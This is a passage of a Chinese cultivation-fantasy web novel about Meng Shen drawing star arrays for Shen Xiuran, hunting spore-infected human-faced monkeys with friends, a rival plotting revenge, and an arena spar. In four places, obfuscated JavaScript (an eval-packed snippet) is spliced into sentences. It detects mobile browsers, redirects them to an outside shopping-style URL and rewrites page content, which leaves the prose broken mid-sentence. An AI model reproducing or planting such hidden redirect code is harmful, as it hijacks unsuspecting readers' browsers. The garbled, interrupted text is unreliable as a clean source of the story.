孟莘含糊地“嗯”了一声,“这下可以开始点星阵了吧?” 沈修然朝纸人颔首,“阿喆,带孟师妹去点星阵。” 纸人立刻飘过来,领着孟莘走到佛堂侧面,交给她一颗一尺宽的精密球体和一沓质地坚硬的纸张,“这颗见星仪里面记录了每夜星辰的运转,你需要把它们的变化点在纸上,也没有很多,五天以前的我已经点过了。” 孟莘研究了一下这个叫见星仪的东西,她对它的结构颇有些兴趣,但是碍于沈修然,她顾不上细究,只想尽快完成星阵。 他明明蒙着眼睛,她却觉得他的视线一直停留在她身上。一个第一次见面的人费心思留住她,自然只能是因为他想从她身上打探些什么。 而她清楚自己一身秘密经不起打探。 孟莘的精神力沉入见星仪,力图以最快的速度结束这种不必要的纠缠。 她原本是这么打算的。 然而见到星图的刹那,玄妙无比的感受就从四面八方涌来,四肢百骸都泛起酥麻痒意。 * “公子!你这是在做什么!你不知道我们在沧溟派已经很招人讨厌了吗!!!”阿喆焦头烂额地在沈修然跟前晃荡,看上去很想给它家公子一通毒打。 他们此刻笼罩在沈修然设下的隔音阵法内,声音传不出去,因此才可以一边观察孟莘,一边大声密谋。 沈修然脸上的温和笑意早已消失不见,他面无表情地说:“阿喆,她之前想杀我。” 阿喆不在意:“想杀公子的人多了去了,总不能来一个都牵一根因缘线吧!就算是公子,因缘线也不能用太多啊!” 沈修然垂在膝头的手指轻轻捻动,“那如果我说,在她杀意迸发的那一刻,我感应到了和那个人相同的气息呢?” 阿喆静住了,半晌后,它转向孟莘方向,声音里没有了一丝玩笑意味,“我这就去把她绑起来。” 沈修然伸手按住纸人,轻轻道:“这么多年来,我第一次在别人身上找到这种气息,不要打草惊蛇。况且,她就算和那个人气息相似,却并不代表她和那个人有关。” “可是、可是,公子的眼睛!”阿喆蜷在沈修然手心,委屈地快要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183074|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不出话来。 “不必着急,我们在沧溟派还有正事要做。”沈修然抚着纸人的头颅,突然抬头,“这是——” 佛堂那头提笔点星阵的少女浑身气息暴涨,节节攀升,在她落下最后一笔时,竟已达筑基三级。 沈修然一时竟不知是该惊讶还是无奈:“原本让她点星阵不过是个留下人的借口,倒是阴差阳错地成全她了。” “不修天地道法,也能这么快感悟星阵吗?”阿喆愤愤地拿头往沈修然身上撞,“便宜她了!” “造化使然罢了,”沈修然撤掉隔音阵法,微笑着对走近的孟莘说:“恭喜师妹修为增进。” 孟莘神色古怪,她在这里连破两级,搞得好像她占了他什么便宜似的,不过她很快就不想了,“沈公子,星阵完成了,这下因缘线该断了吧。” 沈修然感受到了她无论如何都不愿意管他叫师兄的别扭,饶有兴致地逗了她一下,“自然,看得出孟师妹真的很不想和我扯上关系。” 孟莘没搭腔,亲眼看着因缘线消失不见,这才松了口气,敷衍地说:“没什么想不想的,大家本来也不是师出一门,委托结束,自然桥归桥路归路。” “师妹说得也是,”沈修然煞有介事地点点头,安排纸人道,“阿喆,去给孟师妹拿灵石。” 阿喆不情不愿地朝屋外飞去,孟莘道了一声“告辞”,便抬腿跟上。 “不过嘛……”青年的声音突然在身后响起。 孟莘陡然生出一种不妙的预感。 下一瞬,金色丝线重新在她身上浮现,虽然这次并未限制她的行动,但显然意味着他们的委托还未结束。 沈修然慢悠悠道:“今日的星阵了结,师妹可以自行离开,因缘线不会阻拦。不过直到我离开沧溟派之前,还请师妹每十天来这边点一次星阵。” “沈修然!”孟莘怒极,火灵力已在她识海中运转,甭管他是哪里的少楼主,今天她非得跟他算这笔账不可! 却不防脚下已经被他设了一个传送阵,一眨眼就被传出了佛堂。 隔着屋门,还听到他客气地道了一句:“有劳师妹了。” * 孟莘带着她赚来的一千灵石,心情很差地回了炼器室。 按说赚钱是件快乐的事,修为提高更是快乐的事,但这两件事的快乐加在一起,却都比不过沈修然带来的愤怒。 她有点静不下心,干脆给申姑娘发了传音,研究符法显然是最能让她冷静下来的事情。 …… 沈修然正在凝神吐息,腰间的传音玉牌突然一动。 他很快就拿起玉牌,听到对面传来一个有点闷闷的男声。 “申姑娘,这会儿有空吗?我们继续解符法?” 沈修然抬手给自己贴了一张变声符,开口时,已成了一个温和的女声:“可以,不过听辛公子的声音,似乎是有些不快?” 辛公子恹恹地说:“碰到了一个很讨人厌的家伙,感觉一天的心情都被葬送了。” 沈修然笑笑:“连辛公子这样聪慧的人都忍受不了,想必对方的个性一定很糟糕。” “你说得没错,”辛公子很好哄地语气轻快了一点,“不过不说他了,申姑娘,还是符法比较讨人喜欢,今天我们解哪一道?” 44. 人面猴(六) “孟师妹,有个赚钱的活你想不想试试?” 人面猴袭击洗尘轩三天后,严谷岚一大早就主动联系了孟莘。 “想!”孟莘立刻回答。 虽然沈修然那边付钱付得还算慷慨,但是她炼器所需的耗费却是个无底洞,赚钱的机会当然不能错过。 严谷岚闻言笑了一声,不过声音听起来却很疲惫。 “师妹,我们这几天仔细调查,发现那些身体里有黑色孢子的人面猴确实能无视阵法,但它们没有什么攻击性,就算筑基期弟子也可以斩杀。那些孢子似乎抑制了人面猴的大脑,让它们有点痴傻。” 孟莘微微蹙眉,向她确认:“那种攻击性非常强的只有我碰到了?” 严谷岚顿了顿,才有点疑惑地说:“是啊,我们目前没再发现,只能暂时认为它们是特例。” 孟莘心里有了个想法,转而问道:“所以,师姐你说的那个赚钱的活是?” 严谷岚:“人面猴太多了,在整个宗门跑得到处都是,我们用来引诱魔兽的法门对它们不起作用,想把人面猴全部抓回来人手不足,所以我们会在宗门发布悬赏,一只人面猴一千贡献点,今天下午应该就会传达到各峰。” 而现在才是辰时,距离下午还有三个时辰。 孟莘眼前一亮,“谢谢师姐!” “不用谢,让师妹经受那些惊吓我已经很过意不去了,但最近实在抽不出身来补偿师妹,正好有这个机会,就告诉你试试。”严谷岚虚脱的声音里透着淡淡的死气。 “师姐你们是在研究那种孢子吗?” “嗯,到现在也没搞懂它到底是怎么回事,所以还有得熬。” “师姐加油,”孟莘心有戚戚焉,“对了,师姐,据你观察,哪里的人面猴多一些?” “魔兽森林吧,虽然溜出去了一些,但魔兽森林是最多的,”严谷岚最后叮嘱道:“不过师妹你的运气好像真的不太好,最好不要一个人去。” “我知道的师姐。” 结束传音以后,孟莘立刻联系了彭笑寒和许子墨,然后先出发去了药阁。 * 魔兽森林。 孟莘三人已经转悠了两刻钟,却一无所获。 许子墨狐疑道:“这人面猴真有那么好找吗?你真的一天内碰到了两只?” 到这会儿孟莘已经验证了自己一半的猜测。 她冷静地阐述自己的猜想:“人面猴的问题既然如此泛滥,那黑色孢子应当已经在人面猴身上潜伏已久。之前一直没能发现,说明人面猴活动并不频繁,唯二的两个例外都发生在了我身上,只能说明是我身上有问题。” 彭笑寒许子墨的目光落在她身上,吸引魔兽这件事可大可小,但无论大小,恐怕都不是什么好事。 彭笑寒试着宽慰她:“但我们在这里都这么久了,也没有碰到,也许那两只人面猴只是意外。” 孟莘摇了摇头,认真地注视着两人,“我后来仔细回忆碰到那两只人面猴的经过,发现了一个共同点。我想验证一下,但如果我没猜错,那招惹来的人面猴恐怕会很危险。” 彭笑寒和许子墨对视一眼,都放松地笑了。 “我这段时间在演武场的训练成果,我正好想试试。” “新学的功法一直没地方用,我馋了很久了。” “好,”征得两人同意,孟莘从芥子囊中拿出一只琉璃瓶,鲜红液体随着她的动作轻轻荡漾,“既然是试验,我提前做了点准备,应该不会像之前那么危险。” 彭笑寒有点困惑地盯着琉璃瓶,“血?” 孟莘点点头,“碰到人面猴的那天,我为了学习功法,身上有多处伤口,流了不少血。而今天我身上所有伤口都已经愈合,这只琉璃瓶也是我特意去药阁买的,气息透不出去。” 她抬头看着他们,一字字道:“我怀疑是我的血吸引了黑色孢子、激发了它们的凶性。” 许子墨和彭笑寒瞳孔骤然一凝。 若论修真界大家最厌恶哪种行径,自然就是夺舍。这种黑色孢子寄生于人面猴的行径与夺舍无异,她要是和这有关,恐怕会招来许多猜忌。 孟莘垂下眼,这就是她不能告诉严谷岚的原因。 “那我们就试试,”彭笑寒凝重道,“如果真像你猜的那样,恐怕你以后要尽量避免受伤。” “我知道。” “要试的话,其实我新学的功法应该正好能派上用场。”许子墨提议。 “你新学了什么功法?”孟莘想象了一下鬼修能做的事,“招魂?” “不止不止,”许子墨左手掏出一张点着血的符纸,右手两指并拢,“牧影诀第二式,驭傀!” 符纸迅速膨胀成一条长蛇形状,行动敏捷迅疾,不过没有灵智。 孟莘观察了一下,抬头问他:“和沈修然的符人不是一种?” 许子墨手指微僵,“沈修然?” 孟莘啊了一声,突然想起他们不知道那家伙的名字,“鉴天楼少楼主,我们入门那天路过客院,和祝师姐吵架的那个纸人就是他的。” 彭笑寒奇怪地看她:“你怎么会认识鉴天楼少楼主?” 孟莘:“一言难尽,在兑换处接了个他的委托。” 许子墨表情重新恢复正常,“兴许是他们鉴天楼的天地道法能赋予神志吧,反正我现在这个筑基期的实力是做不到。” 孟莘本来也只是顺口一提,没太在意,回到了正题,“你是想用傀儡带着血把人面猴引走?” 许子墨点头,“不错,把人面猴引到我们的包围里,周旋的余地更大。” 三人很快找到了一个视野开阔的高地,孟莘在傀儡蛇身上滴了一滴血,许子墨不敢耽误,立刻催动傀儡蛇钻进下面的树林。 树林里并没有其他魔兽,傀儡蛇打着圈转来转去,他们耳畔静极,只有悠长的风穿过层层叠叠的枝叶藤蔓。 三人却并未放松警惕,反而身体微微前倾,紧紧攥着自己的武器。 “唰——” 一片落叶随着风从地上吹起,正巧遮住了傀儡蛇的踪迹。 “来了!”许子墨目光一凝,他和傀儡蛇灵气相连,第一时间察觉有异,双指并拢在胸前立刻开始操纵傀儡蛇躲闪。 数千根银丝从地面下钻出,直追傀儡蛇而去。 傀儡蛇凭借灵巧的体型躲过了多次攻击,终于将人面猴勾了出来。 孟莘之前仅仅是躲避人面猴的银丝攻击就已经力有不逮了,更别说面对本体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192732|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这还是她第一次见到发狂状态下的人面猴。 只见它的发丝此时足有四丈长,一张老人面鼻子嘴巴挤到一起、狰狞扭曲,竖瞳里闪耀着黑红色的诡异光芒,以异常灵巧的姿态追向傀儡蛇。 许子墨精神高度集中,额头已经渗出密密麻麻的汗珠,在被人面猴绞碎傀儡前,他沉声低吟,“破!” 傀儡蛇瞬间炸成碎片,孟莘的那滴血也跟着蒸发干净。 这种程度的爆炸自然没能伤到人面猴分毫,它快步扑上去,伸长舌头试图在空中挽留一点血丝,却一无所获,愤怒地在森林中唧唧直叫。 许子墨转头看着孟莘:“我想了一下,他们既然这么渴望你的血,还是别被他们吃到的好。” “有道理,”孟莘虽然好奇这些人面猴要她的血有什么用,但它们在没吃到前都这么狂暴,吃下她的血还不定会是什么样子,到底是太危险了。 三人继续观察,那只人面猴狂暴了一阵后,眼底的黑红色渐渐褪去,行动起来也开始像严谷岚描述得那样呆滞迟钝。 彭笑寒握住剑柄,“我们现在下手。” “好!” 孟莘和彭笑寒分别从左右两侧朝人面猴攻去。 虽然人面猴看上去没有攻击性,但毕竟是金丹期修为,二人都还是筑基,因此一上来就不遗余力地用上了各自最强的招数。 “形意诀,第二式,神行!” 被写入剑峰核心功法的神行,效果自然和神行符不可同日而语,彭笑寒携着重剑直捣人面猴面门,第一剑被银丝结成的护盾拦下。 彭笑寒毫不停顿,立刻使出第二招。 “第一式,鸿武!” 磅礴剑气自重剑涌出,穿透银丝护盾,朝人面猴杀去。 人面猴立刻闪身朝反方向逃去。 孟莘嘴角勾起,正等着它的到来。 “两次都差点被你们所杀,这次该轮到你们了!” “化骨炎熔!” 玄铁锤一锤砸去,滚烫火蛇点燃了人面猴的银丝,迅速朝它本体烧去。 人面猴发出凄厉呐喊,背后彭笑寒鸿武一剑贯穿身躯。 孟莘蹲下身检查了一下人面猴尸体,确认了黑色孢子的存在,然后取出魔晶,在手里掂了下,“一千贡献点到手。” 彭笑寒眉毛一挑,“这么危险的事情确认了,你就关注这个?” 孟莘站起身,扬唇一笑,“没办法的事情担心再多也没办法,还是贡献点实在。往好处想想,别人费尽心思都可能找不到一只,但咱们这边,可是人面猴主动来找啊。” “看得好开,”彭笑寒默默地给她比了个大拇指。 许子墨从高处跳下来,摸了摸下巴,“嘿嘿,看来这笔贡献点咱们是不能不赚了。” 三人接下来如法炮制,许子墨以傀儡蛇引诱人面猴,孟莘和彭笑寒等待人面猴狂暴状态褪去的时机上前斩杀,收获颇丰。 他们虽然一直有意在偏僻地带行动,但这种声势却不是他们想藏就能藏住的。 第四日酉时,三人正准备装走最后一只人面猴就回去休息,树林里就走来三个陌生弟子。 为首那人蹙眉看着他们:“你们碰到的人面猴,似乎有些不太寻常啊。” 45. 人面猴(七) 孟莘微不可查地皱了下眉,直起身,待她望向这三个不速之客时,脸上已经挂上了很随意的笑意,“是啊,金丹期的人面猴,凶性很大,师兄也想试试?” 三人也都是筑基期修为,面对狂暴的金丹期人面猴哪有还手之力,一时脸色都有些难看。 为首那人冷笑一声,继续道:“你们这边人面猴未免有些太多了吧?魔兽森林是无主之地,几位师弟师妹占着这里恐怕对其他同门并不算公平。” 他身后两人握紧了剑柄,示威似的剑身出鞘一寸,意思很明显——不让出地盘,那也得看他们守不守得住! 两边隔着十丈来远的距离对峙,一场争夺一触即发。 “原来如此。”却不想对面的少女只是这么不咸不淡地来了一句。 孟莘无辜又真诚地睁大眼睛,“怎么?师兄也想来这片地方抓人面猴?快快快!咱们三赶快给师兄们腾个地方。” 她完全不作假地收好所有东西,其他两人也飞快把最后一只人面猴装起来,三人毫不逗留地立刻往森林外走。 找茬的三人一腔剑拔弩张就这么张了个寂寞,神情都有些凝滞。 “你们真就这么走了?” “是啊,我们特别尊师重道。”孟莘敷衍地点点头。 许子墨表情就真挚多了,看上去甚至想跟他们握个手,“希望师兄们也能在这里丰收。” 彭笑寒看上去很不适应嘴贫,但也勉强地对他们说了一句,“加油。” “算、算你们识趣!”领头的弟子莫名觉得自己很没面子,撇开头嘴硬了一句。 孟莘憋住笑,从三人身边经过时,朝彭笑寒和许子墨眨了下眼睛。 彭笑寒和许子墨眼里也都藏着笑意。 招来人面猴的是孟莘的血,又不是这片地方,这三人可有得找了。 “你们有谁受伤了?” 一个生硬的声音在身后响起,不知道是在对谁说话。 孟莘心里没来由地掠过一丝古怪感觉,这声音冷冰冰的,简直不像活人能有的声音。 她鬼使神差地转过头,看到说话那人正直勾勾地注视着他们。 那名弟子相貌普通,唯独一双眼睛的瞳孔比旁人都更黑更大,注视着人时丝毫也不转动,简直比她第一次见到人面猴时还瘆人。 “没有,”孟莘下意识回答,“没人受伤,血迹全是人面猴的。” 她说完便立刻转回身,脚步虽然还维持着正常的速度,但心里却恨不得马上甩掉身后如有实质的视线。 那名弟子的同伴狐疑地问:“江师弟,你关心他们干嘛?” 江师弟鼻子微动,目光仍旧紧紧追随着孟莘三人的背影,一直到看不见了,才冷冰冰解释:“我闻到了血的气息。” * 孟莘三人四天内共猎杀了九十头人面猴,共兑换九万贡献点,每人三万,实实在在挣了一票大的。 “我们现在已经有点惹人注意了,就到此为止吧。”孟莘见好就收。 彭笑寒和许子墨自然没什么意见,收好贡献点以后,便回各自的峰继续修炼。 孟莘则进了兑换处,认认真真地看起能兑换的材料。 她现在对于炼器还是个新手,太高阶的材料买了也是浪费,因此挑拣后购置了玄铁石、紫铜砂、云纹玉等黄阶炼器材料。 回到炼器室,倒也没舍得直接拿黄阶材料下手,而是认认真真地在图纸上画出了自己想要的样式,先搬来了许多普通铁石练手。 免费的材料自然是能薅就薅。 《百炼经》一到四式全数浮现在她的识海中,她要以最快的速度将这些功法融会贯通。 毕竟,张之雁已经等她等得太久了。 孟莘抓起玄铁锤,从第一式开始,灵力涌动,朝铁石砸去。 “百炼经第一式,舞炎步!” * 戒律堂。 “怎么会找不到凶手!我都说了,那个孟莘和我弟弟有仇怨,一定是她干的!” 范毅身上再也不见从前身为掌刑弟子的气势凌人,他浑身头发衣服都是多日未经打理的凌乱,嘴唇破裂干涸,用猩红的眼睛狠狠瞪着上座的同门。 戒律堂大弟子轻轻叹息,“范师弟,我知道那范济是你表弟,你很难接受这种结果,但你说的那位孟师妹,她在范济死亡时一直待在魔兽森林考核,整个外门的长老弟子都是见证,她又如何能杀得了你弟弟呢?” “之前秋霜林四名弟子无故惨死,魂灯熄灭之时,孟莘就在秋霜林执勤,当时她炼气五级,却能杀得了四名比她修为更高的人,她必定有古怪,用阴诡手段杀了我弟弟也不是没有可能!” 大弟子苦笑着摇摇头,“你也说了,她只有炼气五级,况且她当时入门没几天,她哪有那个本事做到这种事。” 范毅之前也是这么想的,还曾经把这种理由说给自己表弟听,但表弟却根本听不进去,放不下对那个孟莘的执念,直到表弟死了,他终于开始相信表弟的怀疑。 “弟子请师兄为我弟弟做主!彻查孟莘!”范毅咬着牙掀开衣袍跪了下去。 “范师弟!你这!”大弟子又是难堪又是厌烦地摆了摆手,“那位孟师妹如今已经是第十峰的内门弟子,你用这种荒谬不经的理由去查她,你问问十峰主答不答应!” “来人!范师弟失去亲人、忧思过度、精神不济,这段时间不必再履掌刑弟子之职,送他下去好好休息吧。” “是,师兄!” 范毅被人连拖带拽地拉出了戒律堂。 他失魂落魄地抬起头,处处都是同情又讥讽的目光,好像他得了失心疯在无理取闹似的。 但是他清清楚楚记得,他和表弟最后一次见面时,范济焦心提及的,就是那个孟莘。 他绝不信这其中没有关联,戒律堂不查、不问、不罚,那好,他就自己去查! 他天性缜密,虽然悲愤,却还没有冲动到去第十峰拿人,而是转头下了山,前往外门。 她杀表弟时是在外门,也许她的住处里会有线索。 …… “没有……怎么会没有?” 范毅翻遍孟莘在外门居住的房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200082|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有发现任何可疑的迹象。 他一个个闯进外门弟子的房间,借着自己的内门身份,强硬地逼问孟莘同期入门的那些弟子,却没有听到她对表弟表达愤恨的任何只言片语,甚至没人发觉她有什么可疑踪迹。 他无法证明孟莘和范济之死有关。 丑时,沧溟派万籁俱寂,天上看不到一点星光,范毅拖着疲惫的身躯站在主峰前的长阶上。 他面无表情地凝视着第十峰的方向。 也许,他不该再寻求以任何正式的方式向她复仇,他就该直接杀了她,在表弟对她充满执念的时候就该杀了她,就像她杀表弟一样。 腰侧佩剑随着他周身杀意不安定地颤动起来,仿佛下一刻就要出鞘斩向第十峰。 “你是什么人?要走就走,站中间挡着路做什么!当沧溟派是你家开的吗!” 身后传来骂骂咧咧的声音。 范毅寒着脸转过身,拇指已经顶在了剑柄上。他既然已经预备杀人,那就不忌惮多杀几个! 石阶下方,一对长相极为相似的龙凤胎正不耐烦地看着他。 看到这两张脸,范毅扣着剑的拇指又收了回来。他知道这两人是谁,杜雨兰杜景辉,被罚五年内不能入内门的五星姐弟,也是孟莘的同期。 他方才盘问外门弟子,这两人不在,虽然范毅已经不抱什么希望,却不允许自己平白遗漏两个人。 “干嘛!想杀人?”杜景辉盯着他那张死人脸,虚张声势地挑衅道。 范毅并没有理会,他低头凝视着这对姐弟,目光森森:“我问你们,你们和孟莘同门期间,她是否有什么古怪?” 这对姐弟原本不耐的表情,在听到孟莘的名字以后飞速冷却凝固成彻骨的恨意。 “你也和孟莘有仇?”杜雨兰抱着胳膊望向范毅。 范毅咀嚼了一下这个字,“也?” 杜雨兰冷笑道:“她明明只是三星弟子,不知用什么手段变成四星,还擅长笼络人心,所有外门长老都对她另眼相待,彭笑寒和许子墨一入门就被她拽得紧紧的,最后还害我和弟弟五星天资在外门蹉跎五年……” 她微微扬起下巴,“你对她的仇能有我们深?” 范毅眼睫下一片浓黑,嘴角挑起轻蔑的弧度,“你们这样的玩闹,也配和我弟弟的死仇相比?” “玩闹?你说玩闹?”杜雨兰眼里就快喷出火星子了。 杜景辉有点听明白了,他猛地按住姐姐的肩膀,伸手抓住范毅的衣袖,“所以你也想跟孟莘算账对吧?” 范毅垂头凝视着这两个金尊玉贵的蠢货,“怎么,难道你们还有什么主意吗?” 杜景辉并未直接答话,而是用询问的目光看向杜雨兰,杜雨兰飞快地瞟了一眼范毅,目光在他腰间的戒律堂令牌上停顿片刻,然后犹豫着点了点头。 杜景辉这才抬头看向范毅,“我们现在还没想好怎么做,但我们有人。” “有人?”范毅倏然抬起眼。 杜景辉眼里闪过一丝阴毒,“不错,想跟孟莘算账的人可不止我们姐弟两个啊。” 46. 人面猴(八) 第十峰九十七号炼器室。 随着“砰——”的一声,玄铁锤砸下最后一锤,嘶嘶的电光飞速闪过,打铁台上的兽面纹鼎全身发出淡紫色莹光。 孟莘抹了一把额头汗珠,缓缓吐出一口浊气,眼里有种如释重负的喜意,“黄阶中品,成了。” 只见炼器室的置物台上,摆满了刀、剑、鼎、盒等各式器物,越到后面,紫色莹光越纯粹,也就意味着法器的品质在黄阶中越好。 可惜的是,她想给自己打造武器时还有些滞涩,不过这个不急,她之后有足够长的时间去尝试。 孟莘把所有法器装进她之前新换的须弥戒里,然后给彭笑寒和许子墨发了传音,“你们这会儿在哪?我去找你们。” 许子墨故作夸张地大叫,“两个月了,你再不露面我们都要怀疑你被人面猴吃掉啦!” 这两人应该是在一起,因为她听到彭笑寒给了许子墨一肘击,然后接过话头,“我们都在演武场,你直接过来就行。” * 孟莘很快赶到演武场。 她第一次来这里,演武场内部远比外面看上去大,长宽足有一里,数不尽的擂台上形形色色的弟子们正在互相交战,从筑基到元婴、从第一峰到第十峰,看得人眼花缭乱。 等她找到那两人时,彭笑寒和许子墨正坐在窗边说话。 许子墨并不像他在传音玉牌中表现得那么欢快,反而眉眼间颇为焦虑,彭笑寒犹豫着拍了拍他的肩,似乎是在安慰对方。 孟莘眨了眨眼,确认自己没看错人。 “这是发生了什么大事?我不是修炼修坏了脑子看错人了吧?”孟莘挑眉走近。 彭笑寒转过头来,第一反应是,“你筑基八级了?” 孟莘“嗯”了一声,又静心感受了一下他们的气息,“你们已经通会期了?” 彭笑寒点点头,“通会前期。” 从突破通会以后,境界便只按照前、中、后三境来分了,修炼难度也比炼气筑基时高了不少。 看来这两个月大家都没闲着。 “不过,都通会了,你在不高兴什么?”孟莘在彭笑寒身边坐下来,饶有兴致地盯着许子墨那张苦瓜脸,在人精身上看到这种表情可真是太稀罕了。 许子墨托着下巴发愁,“别提了,我有件非常重要的事情,需要找一个信得过的、通会期以上的同伴帮忙。” 孟莘朝彭笑寒努了努下巴,“这不就是?” 许子墨哀怨地看了彭笑寒一眼,“得擅长精神领域的才行。彭师傅,你怎么就打架在行啊?” 彭笑寒凉凉地看他,“这也能怪我?” 他又哀怨地望向孟莘,“你倒是很擅长,但你怎么还没通会啊?” “这也能怪我?”孟莘摊开手以表无奈,想了想,又问,“你那件事是什么时候?” 她现在筑基八级,努努力还是有希望通会的。 许子墨不抱希望地叹口气,“五天后。” 孟莘:“……当我没问。” “你呢?”彭笑寒转头看孟莘,“你是出了什么事?” 许子墨也盯着她。 两人这段时间是看明白了,孟莘炼起器来是真的没日没夜啊,没点什么事估计根本舍不得出关。 “咳,”说到这里,孟莘脸上有点赧然,“实不相瞒,是想请你们两帮我演场戏。” 两人一头雾水:“演戏?” …… “原来如此,”听完孟莘的话,许子墨神情一振,“这戏码我还没试过,倒是新鲜。” 彭笑寒也只能硬着头皮点头,“我……尽力。” 孟莘立刻送上鼓励,“放心,给你选的这个角色不需要多会演,只要保持冷酷就行。” “那好,”许子墨拍拍衣袍站起来,“我就先走了,等我传音。” “加油!”孟莘给他比了个大拇指。 许子墨走了不久,最近的擂台上跳下来一个人高马大的青年,径自朝彭笑寒走来,目光却落在孟莘身上,“师妹,这也是你的朋友?” “这位是我的朋友孟莘,第十峰的,”彭笑寒介绍完,神情竟有几分无奈,“韩师兄,你还要来吗?” 那青年热切的目光仍旧停留在孟莘身上,“都来演武场了,一场架都不打就走,太浪费了吧。” “……我帮你问问,”彭笑寒给孟莘介绍道:“这位是我第二峰的韩阳韩师兄,人送外号演武场铁钉子,每一个进来的人都会被他拉着跟他打一场,孟莘,你想试试吗?他虽然是元婴期的,不过比试时不会用修为压人。” 孟莘看着韩阳跃跃欲试的目光,算了算时间,应该足够她比试一场,她也正好两个月没有动过手了,便点点头,“好啊,只要师兄不嫌弃我筑基期的修为太低就好。” “不错不错,谁说器修就不能来演武场比试了?”韩阳很是满意地笑了笑,“孟师妹,如果你大师兄陈鸿畅像你这么通透,一定不会只是元婴修为。” 孟莘想到洗尘轩那晚陈鸿畅的一剑,不由得维护了自家大师兄一句,“我觉得大师兄打起架来还挺厉害的。” 两人跳上擂台,彼此行了一礼。 韩阳做出一个请的动作,“师妹先出招吧。” 两人差着三个大境界,孟莘没跟韩阳客气,握住玄铁锤,舞炎步运转,朝韩阳攻去,“请师兄赐教。” 韩阳身子微微一侧,在躲过孟莘攻击时直接用剑攻她面门,很不赞同地摇摇头,“你的招太慢太明显了,一眼就能被看透。” “是嘛?”孟莘眼里闪过一丝狡黠的光,玄铁锤抵住韩阳攻来的剑,冰冷气息从玄铁锤倏忽迸发,“三玄冰清!” 寒冰迅速蜿蜒而出,冻结了韩阳的佩剑,这点筑基期的冰对韩阳来说根本算不了什么,不过他颇有几分意外,行动间便慢了一分。 孟莘左手借了韩阳佩剑一分力,身体跃起朝韩阳头部绞去。 韩阳手一抖,三玄冰清的冻结霎时破裂,他低喝一声,右腕一提,佩剑倒转向孟莘方向。 孟莘在半空一拧身急落在韩阳身侧,峨眉刺已从左袖划出,带着阵阵轰雷刺向韩阳腰部,“度厄真雷!” “度厄真雷你也会用?”韩阳语气中又有了一丝意外,不过虽然意外,但扭身一剑便把孟莘的峨眉刺挑了出去,“再来!” 孟莘数度朝韩阳攻去,最后毫不意外地全部被化解。 她气喘吁吁地停下,伸出手掌制止了韩阳还想再来的架势,“师兄,今天就到这里吧。” 元婴和筑基打,韩阳自然也称不上恋恋不舍,干脆地停了下来,再望向孟莘时,眼里倒有了几分欣赏。 “你才筑基期,就已经学到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210007|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了百炼经前四式,比陈鸿畅厉害多了。孟师妹,我看好你,等你比陈鸿畅更厉害了,一定要和我比一场。” 孟莘笑笑,“向师兄献丑了。” “不过你虽然学会了,但用起来尚不圆融,而且武器驳杂,虽然有出奇制胜的效果,但实在太不专精了。”韩阳直言不讳地指出了她的问题。 到底是元婴期战斗经验丰富的前辈,孟莘一怔,想到自己设计武器时的纠结,有了几分明悟,“谢师兄指点。” 韩阳点点头,又看向彭笑寒,“你的朋友倒各个都有点意思。” 彭笑寒嘴角一翘,“那当然。” * 沧溟山下,茶馆。 李岩面色有些难看地站在二楼一张桌子旁,为难地对桌上的客人说:“小仙君,您毕竟是沧溟山的仙人,强夺我们凡人的家眷,不合适吧?” “这位大叔,你这可就冤枉我了,这怎么能叫强夺,我这不是在跟你谈价钱嘛。” 那位客人笑嘻嘻说着,还不忘给身边坐着的张之雁夹了一筷子菜,“姐姐别光喝水,吃菜。姐姐说,你是愿意跟我走,还是留在这家店里?” 张之雁目光飞速瞟了李岩一眼,然后就垂下了头,默不作声。 她汗涔涔的手心里紧紧攥着一张纸条,上面是孟莘的笔迹——“之雁姐,这位是我的朋友,他会帮我们摆脱李岩。” 这位客人,自然就是许子墨。 他头上是镶玉的紫金冠,身上穿着天京聚宝阁出产的云纹白锦衣,浑身金尊玉贵的装扮。腰间明晃晃坠着沧溟派内门弟子的令牌,眼睛微弯,说话间目光一直在张之雁身上流连忘返,活脱脱一副风流少年的模样。 